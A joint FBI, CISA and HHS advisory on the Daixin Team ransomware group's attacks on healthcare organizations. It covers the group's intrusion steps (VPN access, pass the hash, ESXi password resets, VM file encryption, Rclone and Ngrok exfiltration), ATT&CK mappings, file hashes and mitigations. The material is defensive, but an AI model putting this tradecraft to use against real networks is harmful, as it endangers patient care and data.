The Daixin Team is a ransomware and data extortion group that has targeted the HPH Sector with ransomware and data extortion operations since at least June 2022. Since then, Daixin Team cybercrime actors have caused ransomware incidents at multiple HPH Sector organizations where they have:

  • Deployed ransomware to encrypt servers responsible for healthcare services—including electronic health records services, diagnostics services, imaging services, and intranet services, and/or
  • Exfiltrated personal identifiable information (PII) and patient health information (PHI) and threatened to release the information if a ransom is not paid.

Daixin actors gain initial access to victims through virtual private network (VPN) servers. In one confirmed compromise, the actors likely exploited an unpatched vulnerability in the organization’s VPN server [T1190]. In another confirmed compromise, the actors used previously compromised credentials to access a legacy VPN server [T1078] that did not have multifactor authentication (MFA) enabled. The actors are believed to have acquired the VPN credentials through the use of a phishing email with a malicious attachment [T1598.002].

After obtaining access to the victim’s VPN server, Daixin actors move laterally via Secure Shell (SSH) [T1563.001] and Remote Desktop Protocol (RDP) [T1563.002]. Daixin actors have sought to gain privileged account access through credential dumping [T1003] and pass the hash [T1550.002]. The actors have leveraged privileged accounts to gain access to VMware vCenter Server and reset account passwords [T1098] for ESXi servers in the environment. The actors have then used SSH to connect to accessible ESXi servers and deploy ransomware [T1486] on those servers. 

According to third-party reporting, the Daixin Team’s ransomware is based on leaked Babuk Locker source code. This third-party reporting as well as FBI analysis show that the ransomware targets ESXi servers and encrypts files located in /vmfs/volumes/ with the following extensions: .vmdk, .vmem, .vswp, .vmsd, .vmx, and .vmsn. A ransom note is also written to /vmfs/volumes/. See Figure 1 for targeted file system path and Figure 2 for targeted file extensions list. Figure 3 and Figure 4 include examples of ransom notes. Note that in the Figure 3 ransom note, Daixin actors misspell “Daixin” as “Daxin.”

AA22-294A: #StopRansomware: Daixin Team

Figure 1: Daixin Team – Ransomware Targeted File Path

AA22-294A: #StopRansomware: Daixin Team

Figure 2: Daixin Team – Ransomware Targeted File Extensions

AA22-294A: #StopRansomware: Daixin Team

Figure 3: Example 1 of Daixin Team Ransomware Note

AA22-294A: #StopRansomware: Daixin Team

Figure 4: Example 2 of Daixin Team Ransomware Note

In addition to deploying ransomware, Daixin actors have exfiltrated data [TA0010] from victim systems. In one confirmed compromise, the actors used Rclone—an open-source program to manage files on cloud storage—to exfiltrate data to a dedicated virtual private server (VPS). In another compromise, the actors used Ngrok—a reverse proxy tool for proxying an internal service out onto an Ngrok domain—for data exfiltration [T1567].

MITRE ATT&CK TACTICS AND TECHNIQUES

See Table 1 for all referenced threat actor tactics and techniques included in this advisory.

Table 1: Daixin Actors’ ATT&CK Techniques for Enterprise

Reconnaissance

Technique Title

ID

Use

Phishing for Information: Spearphishing Attachment

T1598.002

Daixin actors have acquired the VPN credentials (later used for initial access) by a phishing email with a malicious attachment.

Initial Access

Technique Title

ID

Use

Exploit Public-Facing Application

T1190

Daixin actors exploited an unpatched vulnerability in a VPN server to gain initial access to a network.

Valid Accounts

T1078

Daixin actors use previously compromised credentials to access servers on the target network.

Persistence

Technique Title

ID

Use

Account Manipulation

T1098

Daixin actors have leveraged privileged accounts to reset account passwords for VMware ESXi servers in the compromised environment.

Credential Access

Technique Title

ID

Use

OS Credential Dumping

T1003

Daixin actors have sought to gain privileged account access through credential dumping.

Lateral Movement

Technique Title

ID

Use

Remote Service Session Hijacking: SSH Hijacking

T1563.001

Daixin actors use SSH and RDP to move laterally across a network.

Remote Service Session Hijacking: RDP Hijacking

T1563.002

Daixin actors use RDP to move laterally across a network.

Use Alternate Authentication Material: Pass the Hash

T1550.002

Daixin actors have sought to gain privileged account access through pass the hash.

Exfiltration

Technique Title

ID

Use

Exfiltration Over Web Service

T1567

Daixin Team members have used Ngrok for data exfiltration over web servers.

Impact

Technique Title

ID

Use

Data Encrypted for Impact

T1486

Daixin actors have encrypted data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources.

INDICATORS OF COMPROMISE

See Table 2 for IOCs obtained from third-party reporting.

Table 2: Daixin Team IOCs – Rclone Associated SHA256 Hashes

File

SHA256

rclone-v1.59.2-windows-amd64git-log.txt

9E42E07073E03BDEA4CD978D9E7B44A9574972818593306BE1F3DCFDEE722238

rclone-v1.59.2-windows-amd64rclone.1

19ED36F063221E161D740651E6578D50E0D3CACEE89D27A6EBED4AB4272585BD

rclone-v1.59.2-windows-amd64rclone.exe

54E3B5A2521A84741DC15810E6FED9D739EB8083CB1FE097CB98B345AF24E939

rclone-v1.59.2-windows-amd64README.html

EC16E2DE3A55772F5DFAC8BF8F5A365600FAD40A244A574CBAB987515AA40CBF

rclone-v1.59.2-windows-amd64README.txt

475D6E80CF4EF70926A65DF5551F59E35B71A0E92F0FE4DD28559A9DEBA60C28

 

Mitigations

FBI, CISA, and HHS urge HPH Sector organizations to implement the following to protect against Daixin and related malicious activity:

  • Install updates for operating systems, software, and firmware as soon as they are released. Prioritize patching VPN servers, remote access software, virtual machine software, and known exploited vulnerabilities. Consider leveraging a centralized patch management system to automate and expedite the process.
  • Require phishing-resistant MFA for as many services as possible—particularly for webmail, VPNs, accounts that access critical systems, and privileged accounts that manage backups.
  • If you use Remote Desktop Protocol (RDP), secure and monitor it.
    • Limit access to resources over internal networks, especially by restricting RDP and using virtual desktop infrastructure. After assessing risks, if RDP is deemed operationally necessary, restrict the originating sources, and require multifactor authentication (MFA) to mitigate credential theft and reuse. If RDP must be available externally, use a virtual private network (VPN), virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices. Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts to block brute force campaigns, log RDP login attempts, and disable unused remote access/RDP ports.
    • Ensure devices are properly configured and that security features are enabled. Disable ports and protocols that are not being used for business purposes (e.g., RDP Transmission Control Protocol Port 3389).
  • Turn off SSH and other network device management interfaces such as Telnet, Winbox, and HTTP for wide area networks (WANs) and secure with strong passwords and encryption when enabled.
  • Implement and enforce multi-layer network segmentation with the most critical communications and data resting on the most secure and reliable layer.
  • Limit access to data by deploying public key infrastructure and digital certificates to authenticate connections with the network, Internet of Things (IoT) medical devices, and the electronic health record system, as well as to ensure data packages are not manipulated while in transit from man-in-the-middle attacks.
  • Use standard user accounts on internal systems instead of administrative accounts, which allow for overarching administrative system privileges and do not ensure least privilege.
  • Secure PII/PHI at collection points and encrypt the data at rest and in transit by using technologies such as Transport Layer Security (TPS). Only store personal patient data on internal systems that are protected by firewalls, and ensure extensive backups are available if data is ever compromised.
  • Protect stored data by masking the permanent account number (PAN) when it is displayed and rendering it unreadable when it is stored—through cryptography, for example.
  • Secure the collection, storage, and processing practices for PII and PHI, per regulations such as the Health Insurance Portability and Accountability Act of 1996 (HIPAA). Implementing HIPAA security measures can prevent the introduction of malware on the system.
  • Use monitoring tools to observe whether IoT devices are behaving erratically due to a compromise.
  • Create and regularly review internal policies that regulate the collection, storage, access, and monitoring of PII/PHI.
  • In addition, the FBI, CISA, and HHS urge all organizations, including HPH Sector organizations, to apply the following recommendations to prepare for, mitigate/prevent, and respond to ransomware incidents.

Preparing for Ransomware

  • Maintain offline (i.e., physically disconnected) backups of data, and regularly test backup and restoration. These practices safeguard an organization’s continuity of operations or at least minimize potential downtime from a ransomware incident and protect against data losses.
    • Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure.
  • Create, maintain, and exercise a basic cyber incident response plan and associated communications plan that includes response procedures for a ransomware incident.
    • Organizations should also ensure their incident response and communications plans include response and notification procedures for data breach incidents. Ensure the notification procedures adhere to applicable state laws.
      • Refer to applicable state data breach laws and consult legal counsel when necessary.
      • For breaches involving electronic health information, you may need to notify the Federal Trade Commission (FTC) or the Department of Health and Human Services, and—in some cases—the media. Refer to the FTC’s Health Breach Notification Rule and U.S. Department of Health and Human Services’ Breach Notification Rule for more information.
    • See CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide and CISA Fact Sheet, Protecting Sensitive and Personal Information from Ransomware-Caused Data Breaches, for information on creating a ransomware response checklist and planning and responding to ransomware-caused data breaches.

Mitigating and Preventing Ransomware

  • Restrict Server Message Block (SMB) Protocol within the network to only access servers that are necessary and remove or disable outdated versions of SMB (i.e., SMB version 1). Threat actors use SMB to propagate malware across organizations.
  • Review the security posture of third-party vendors and those interconnected with your organization. Ensure all connections between third-party vendors and outside software or hardware are monitored and reviewed for suspicious activity.
  • Implement listing policies for applications and remote access that only allow systems to execute known and permitted programs.
  • Open document readers in protected viewing modes to help prevent active content from running.
  • Implement user training program and phishing exercises to raise awareness among users about the risks of visiting suspicious websites, clicking on suspicious links, and opening suspicious attachments. Reinforce the appropriate user response to phishing and spearphishing emails.
  • Use strong passwords and avoid reusing passwords for multiple accounts. See CISA Tip Choosing and Protecting Passwords and the National Institute of Standards and Technology’s (NIST’s) Special Publication 800-63B: Digital Identity Guidelines for more information.
  • Require administrator credentials to install software.
  • Audit user accounts with administrative or elevated privileges and configure access controls with least privilege in mind.
  • Install and regularly update antivirus and antimalware software on all hosts.
  • Only use secure networks and avoid using public Wi-Fi networks. Consider installing and using a VPN.
  • Consider adding an email banner to messages coming from outside your organizations.
  • Disable hyperlinks in received emails.

Responding to Ransomware Incidents

If a ransomware incident occurs at your organization:

  • Follow your organization’s Ransomware Response Checklist (see Preparing for Ransomware section).
  • Scan backups. If possible, scan backup data with an antivirus program to check that it is free of malware. This should be performed using an isolated, trusted system to avoid exposing backups to potential compromise.
  • Follow the notification requirements as outlined in your cyber incident response plan.
  • Report incidents to the FBI at a local FBI Field Office, CISA at cisa.gov/report, or the U.S. Secret Service (USSS) at a USSS Field Office.
  • Apply incident response best practices found in the joint Cybersecurity Advisory, Technical Approaches to Uncovering and Remediating Malicious Activity, developed by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom.

Note: FBI, CISA, and HHS strongly discourage paying ransoms as doing so does not guarantee files and records will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities.

REFERENCES

  • Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts.
  • Resource to mitigate a ransomware attack: CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide.
  • No-cost cyber hygiene services: Cyber Hygiene Services and Ransomware Readiness Assessment.
  • Ongoing Threat Alerts and Sector alerts are produced by the Health Sector Cybersecurity Coordination Center (HC3) and can be found at hhs.gov/HC3
  • For additional best practices for Healthcare cybersecurity issues see the HHS 405(d) Aligning Health Care Industry Security Approaches at 405d.hhs.gov 

REPORTING

The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with Daixin Group actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file. Regardless of whether you or your organization have decided to pay the ransom, the FBI, CISA, and HHS urge you to promptly report ransomware incidents to a local FBI Field Office, or CISA at cisa.gov/report.

ACKNOWLEDGEMENTS

FBI, CISA, and HHS would like to thank CrowdStrike and the Health Information Sharing and Analysis Center (Health-ISAC) for their contributions to this CSA.

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. FBI, CISA, and HHS do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI, CISA, or HHS.

 

Revisions

Initial Publication: October 21, 2022

 

This product is provided subject to this Notification and this Privacy & Use policy.

source

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